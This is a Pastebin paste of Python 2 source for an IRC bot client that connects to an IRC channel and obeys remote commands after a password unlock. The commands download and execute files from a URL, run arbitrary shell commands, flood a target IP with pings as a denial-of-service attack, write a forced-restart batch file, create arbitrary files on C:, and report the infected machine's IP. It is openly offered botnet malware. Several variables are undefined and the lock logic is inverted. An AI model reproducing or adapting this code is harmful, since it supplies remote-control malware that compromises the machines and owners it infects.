Advertisement
Guest User

Untitled

a guest
Jun 9th, 2017
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.43 KB | None | 0 0
  1. ######################################################################################################
  2. #Programmers: Pyro & Rattertouille
  3. #Program: Hybrid IRC Bot
  4. #Date: 14 August 2010
  5. #Version: 1.0 Alpha
  6. #
  7. #Notes:
  8. #This is a hybrid of two IRC bots, one from Rattertouille and another from Pyro
  9. #This joint operation between Pyro & Rattertouille hopes to achieve optimium quality by choosing the
  10. #best from wither bot
  11. ######################################################################################################
  12. import os
  13. import random
  14. import shutil
  15. import socket
  16. import sys
  17. import time
  18. import urllib
  19.  
  20. network = 'irc.wyldryde.org'
  21. port = 6667
  22. channel = '#pythontest'
  23. username = 'TeamBot_' + str(random.randint(0,1000000))
  24. password = 'asusdvd'
  25. locked = 1
  26.  
  27. def os_version():
  28. def get_registry_value(key, subkey, value):
  29. import _winreg
  30. key = getattr(_winreg, key)
  31. handle = _winreg.OpenKey(key, subkey)
  32. (value, type) = _winreg.QueryValueEx(handle, value)
  33. return value
  34. def get(key):
  35. return get_registry_value('HKEY_LOCAL_MACHINE', 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion',key)
  36. os = get('ProductName')
  37. sp = get('CSDVersion')
  38. build = get('CurrentBuildNumber')
  39. return '%s %s (build %s)' % (os, sp, build)
  40.  
  41. def download(url, filepath):
  42. pagehandler = urllib.urlopen(url)
  43. outputfile = open(filepath, 'wb')
  44. while True:
  45. data = pagehandler.read(512)
  46. if not data:
  47. break
  48. outputfile.write(data)
  49. outputfile.close()
  50. pagehandler.close()
  51.  
  52. irc = socket.socket()
  53. irc.connect((network, port))
  54. irc.send('nick ' + username + '\r\n')
  55. irc.send('user Joint Venture Bot :Rattertouille & Pyro\r\n')
  56. irc.send('join ' + channel + '\r\n')
  57. irc.send('privmsg ' + channel + ':Connection established\r\n')
  58. irc.send('privmsg ' + channel + ':Bot belongs to Pyro & Rattertouille\r\n')
  59.  
  60. while True:
  61. data = irc.recv(4096)
  62. if data.find('PING') != -1:
  63. irc.send('PONG ' + data.split() [ 1 ] + '\r\n') #Responds to pings from the server
  64. print data
  65. elif data.find ('* ' + username + ' :Nickname is already in use.') != -1: #Checks if username is taken
  66. irc.send ('quit\r\n')
  67. irc.close
  68. username = 'DxBot_' + str(random.randint(0,1000000))
  69. irc.send('nick ' + username + '\r\n')
  70. irc.send('user Joint Venture Bot :Rattertouille & Pyro\r\n')
  71. irc.send('join ' + channel + '\r\n')
  72. irc.send('privmsg ' + channel + ':Connection established\r\n')
  73. irc.send('privmsg ' + channel + ':Bot belongs to Pyro & Rattertouille\r\n')
  74. elif data.find ('--bot') != -1:
  75. if locked == 0:
  76. irc.send('privmsg ' + channel + ' :Command ,--, found\r\n')
  77. time.sleep(1)
  78. if data.find('copy') != -1: #Copy command
  79. locfrom = data.split('-from ')[1]
  80. locworking = data.split(' -from')[0]
  81. locto = data.split('-to ')[1]
  82. shutil.copy2(locfrom, locto)
  83. irc.send('privmsg ' + channel + ' :Copy completed, ' + locfrom + ' copied to ' + locto + '\r\n')
  84. elif data.find ('download') != -1: #Download command
  85. dldata = data.split('-- download ')[1].split(' , ')
  86. dldata[2] = dldata[2][:len(dldata[2]) - 2]
  87. download(dldata[0].translate(None, '\''),dldata[1].translate(None, '\''))
  88. if int(dldata[2]) == 1:
  89. irc.send ('privmsg ' + chan + ' :Download finished and executed\r\n')
  90. os.popen(dldata[1])
  91. else:
  92. irc.send ('privmsg ' + chan + ' :Download finished, not executed\r\n')
  93. elif data.find ('respond') != -1: #Respond command, makes sure bot is active (possibly an auto logoff/restart if not?)
  94. irc.send('privmsg ' + channel + ' :The bot is activly transmitting data\r\n')
  95. elif data.find ('leave') != -1: #Exit command
  96. irc.send('privmsg ' + channel + ' :Now exiting\r\n')
  97. irc.send('quit\r\n')
  98. irc.close
  99. elif data.find('send msg') != -1: #Message command
  100. chanworking = data.split(' -msg')[0]
  101. channelsend = chanworking.split('-chan ')[1]
  102. irc.send('join ' + channelsend + '\r\n')
  103. irc.send('privmsg ' + channelsend + ' :' + data.split('-msg ') [1] + '/r/n')
  104. elif data.find('dos') != -1: #DoS attack command
  105. dos = data.split(' -IP')[0]
  106. rangelimitdos = int(dos.split('-limit ')[1])
  107. for i in range(1, rangelimitdos):
  108. os.system('ping ' + data.split('-IP ')[1])
  109. elif data.find ('execute') != -1: #Execute command
  110. os.popen(data.split('-execute ')[1]);
  111. elif data.find('bin') != -1: #File creation family
  112. if data.find('preset1') != -1: #Makes a force reset batch
  113. filelocation = open('C:\Pre1.bat', 'w')
  114. filelocation.write('shutdown -r -f')
  115. filelocation.close()
  116. elif data.split('-bin')[0].find('custom') != -1:#Makes a file
  117. batphrase = data.split('-bin ')[1]
  118. loopstring = batphrase.split(' -limit')[0]
  119. aphrase = batphrase.split('-limit ')[1]
  120. extension = aphrase.split(' -ext')[0]
  121. bphrase = aphrase.split('-ext ')[1]
  122. name = bphrase.split(' -name')[0]
  123. working = bphrase.split('name ')[1]
  124. looplimit = int(loopstring)
  125. irc.send('privmsg ' + channel + ' :Preparing to create\r\n')
  126. filelocation = open('C:\Bot' + name + extension, 'w')
  127. for i in range(1, looplimit + 1):
  128. filelocation.write(working.split(' -eol ')[i] + '\n')
  129. filelocation.close()
  130. elif data.find('return ip') != -1: #Returns IP addresses
  131. victimip = socket.gethostbyname_ex(socket.gethostname())[2][1]
  132. irc.send('privmsg ' + channel + ' : IP address - ' + victimip + '\r\n')
  133. elif data.find('lock ' + password): #Relocks bot
  134. locked = 0
  135. else:
  136. irc.send ('privmsg ' + channet + ' :Unrecognised command\r\n')
  137. elif data.find ('unlock ' + password) != -1:
  138. locked = 0
  139. irc.send ('privmsg ' + channel + ' :' + nick + ' Unlocked, Rasta Rattertouille & Pyro mainiac\r\n')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement